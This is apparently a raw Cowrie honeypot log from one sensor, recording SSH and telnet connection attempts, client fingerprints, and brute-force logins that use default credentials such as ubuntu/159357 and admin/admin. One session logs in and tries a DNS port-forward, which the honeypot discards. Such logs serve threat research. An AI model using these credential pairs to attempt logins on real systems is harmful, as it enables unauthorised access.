{"eventid":"cowrie.login.failed","username":"ubuntu","password":"159357","message":"login attempt [ubuntu/159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:09.372273Z","src_ip":"190.244.39.232","session":"a19d432ceb43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:10.580636Z","src_ip":"190.244.39.232","session":"a19d432ceb43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.65778470039368,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:10.624580Z","src_ip":"137.184.155.248","session":"2d64305a4ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":41726,"dst_ip":"10.17.0.5","dst_port":22,"session":"f15fff3ffdd4","protocol":"ssh","message":"New connection: 58.186.20.101:41726 (10.17.0.5:22) [session: f15fff3ffdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:11.162151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:11.167578Z","src_ip":"58.186.20.101","session":"f15fff3ffdd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:11.431703Z","src_ip":"58.186.20.101","session":"f15fff3ffdd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ytrewq","message":"login attempt [ubuntu/ytrewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:12.511335Z","src_ip":"58.186.20.101","session":"f15fff3ffdd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:13.776859Z","src_ip":"58.186.20.101","session":"f15fff3ffdd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.888672828674316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:31.174185Z","src_ip":"213.129.84.225","session":"0275245e0639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35210,"dst_ip":"10.17.0.5","dst_port":23,"session":"8402583eb78d","protocol":"telnet","message":"New connection: 137.184.155.248:35210 (10.17.0.5:23) [session: 8402583eb78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:31.206692Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34152,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea6883190b0","protocol":"telnet","message":"New connection: 137.184.155.248:34152 (10.17.0.5:23) [session: 8ea6883190b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:34.144622Z"}
{"eventid":"cowrie.session.closed","duration":31.031424045562744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:40.063693Z","src_ip":"213.129.84.225","session":"142b8ce32d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39900,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ea71eac3d2","protocol":"telnet","message":"New connection: 137.184.155.248:39900 (10.17.0.5:23) [session: 65ea71eac3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:44.284243Z"}
{"eventid":"cowrie.session.closed","duration":48.66209316253662,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:44.482911Z","src_ip":"137.184.155.248","session":"c7a18a3494db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39914,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb2d1a4fddc","protocol":"telnet","message":"New connection: 137.184.155.248:39914 (10.17.0.5:23) [session: 4eb2d1a4fddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:46.848877Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":45838,"dst_ip":"159.203.135.109","dst_port":22,"session":"1346aaaf23ab","protocol":"ssh","message":"New connection: 202.125.94.71:45838 (159.203.135.109:22) [session: 1346aaaf23ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:48.451346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:48.456259Z","src_ip":"202.125.94.71","session":"1346aaaf23ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:48.724619Z","src_ip":"202.125.94.71","session":"1346aaaf23ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password1234","message":"login attempt [test/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:49.815662Z","src_ip":"202.125.94.71","session":"1346aaaf23ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:51.083285Z","src_ip":"202.125.94.71","session":"1346aaaf23ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40368,"dst_ip":"159.203.135.109","dst_port":23,"session":"c704a53ef00b","protocol":"telnet","message":"New connection: 185.26.126.47:40368 (159.203.135.109:23) [session: c704a53ef00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:10:57.818145Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52096,"dst_ip":"10.17.0.5","dst_port":23,"session":"010519a5bd73","protocol":"telnet","message":"New connection: 137.184.155.248:52096 (10.17.0.5:23) [session: 010519a5bd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:01.842190Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46934,"dst_ip":"159.203.135.109","dst_port":23,"session":"77f78092fee6","protocol":"telnet","message":"New connection: 213.129.84.225:46934 (159.203.135.109:23) [session: 77f78092fee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:08.191385Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56928,"dst_ip":"159.203.135.109","dst_port":23,"session":"f943377bb074","protocol":"telnet","message":"New connection: 213.129.84.225:56928 (159.203.135.109:23) [session: f943377bb074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:10.355336Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43812,"dst_ip":"10.17.0.5","dst_port":23,"session":"da42f026a187","protocol":"telnet","message":"New connection: 137.184.155.248:43812 (10.17.0.5:23) [session: da42f026a187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:11.324769Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56906,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c39e82ccfa","protocol":"telnet","message":"New connection: 213.129.84.225:56906 (159.203.135.109:23) [session: c0c39e82ccfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:16.314804Z"}
{"eventid":"cowrie.session.closed","duration":44.90511083602905,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:19.049605Z","src_ip":"137.184.155.248","session":"8ea6883190b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45796,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9dbeca20a1","protocol":"telnet","message":"New connection: 137.184.155.248:45796 (10.17.0.5:23) [session: 7a9dbeca20a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:19.353421Z"}
{"eventid":"cowrie.session.closed","duration":48.741679191589355,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:19.948259Z","src_ip":"137.184.155.248","session":"8402583eb78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56084,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7094d16dff6","protocol":"ssh","message":"New connection: 87.251.64.176:56084 (10.17.0.5:22) [session: d7094d16dff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:21.804981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:21.810802Z","src_ip":"87.251.64.176","session":"d7094d16dff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:21.908285Z","src_ip":"87.251.64.176","session":"d7094d16dff6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:22.213604Z","src_ip":"87.251.64.176","session":"d7094d16dff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:22.313159Z","session":"d7094d16dff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:22.410784Z","src_ip":"87.251.64.176","session":"d7094d16dff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:22.510113Z","src_ip":"87.251.64.176","session":"d7094d16dff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":41336,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12fa759edc6","protocol":"ssh","message":"New connection: 203.90.110.186:41336 (10.17.0.5:22) [session: f12fa759edc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:28.390938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:28.396418Z","src_ip":"203.90.110.186","session":"f12fa759edc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:28.623704Z","src_ip":"203.90.110.186","session":"f12fa759edc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56264,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e70b75bf1b6","protocol":"telnet","message":"New connection: 137.184.155.248:56264 (10.17.0.5:23) [session: 1e70b75bf1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:28.744915Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34776,"dst_ip":"159.203.135.109","dst_port":23,"session":"d09decd82bf1","protocol":"telnet","message":"New connection: 213.129.84.225:34776 (159.203.135.109:23) [session: d09decd82bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:29.285045Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456a@","message":"login attempt [user/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:29.553317Z","src_ip":"203.90.110.186","session":"f12fa759edc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.28180718421936,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:29.565752Z","src_ip":"137.184.155.248","session":"65ea71eac3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39556,"dst_ip":"159.203.135.109","dst_port":23,"session":"3338cbc49bb2","protocol":"telnet","message":"New connection: 213.129.84.225:39556 (159.203.135.109:23) [session: 3338cbc49bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:30.352979Z"}
{"eventid":"cowrie.session.closed","duration":43.59269714355469,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:30.441454Z","src_ip":"137.184.155.248","session":"4eb2d1a4fddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:30.781976Z","src_ip":"203.90.110.186","session":"f12fa759edc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.151.72.155","src_port":39109,"dst_ip":"10.17.0.5","dst_port":22,"session":"724c28860a4c","protocol":"ssh","message":"New connection: 115.151.72.155:39109 (10.17.0.5:22) [session: 724c28860a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:32.178341Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55632,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ccb2d41095c","protocol":"telnet","message":"New connection: 213.129.84.225:55632 (159.203.135.109:23) [session: 5ccb2d41095c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:39.660536Z"}
{"eventid":"cowrie.session.closed","duration":31.85758066177368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:40.048822Z","src_ip":"213.129.84.225","session":"77f78092fee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72707748413086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:41.082273Z","src_ip":"213.129.84.225","session":"f943377bb074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.71773028373718,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:41.535638Z","src_ip":"185.26.126.47","session":"c704a53ef00b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729822397232056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:47.044498Z","src_ip":"213.129.84.225","session":"c0c39e82ccfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.28073835372925,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:49.122792Z","src_ip":"137.184.155.248","session":"010519a5bd73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":60676,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ab8c24c4317","protocol":"ssh","message":"New connection: 202.125.94.71:60676 (159.203.135.109:22) [session: 6ab8c24c4317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:49.193545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:49.198287Z","src_ip":"202.125.94.71","session":"6ab8c24c4317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:49.456258Z","src_ip":"202.125.94.71","session":"6ab8c24c4317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"12345","message":"login attempt [root1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:50.517881Z","src_ip":"202.125.94.71","session":"6ab8c24c4317","protocol":"ssh"}
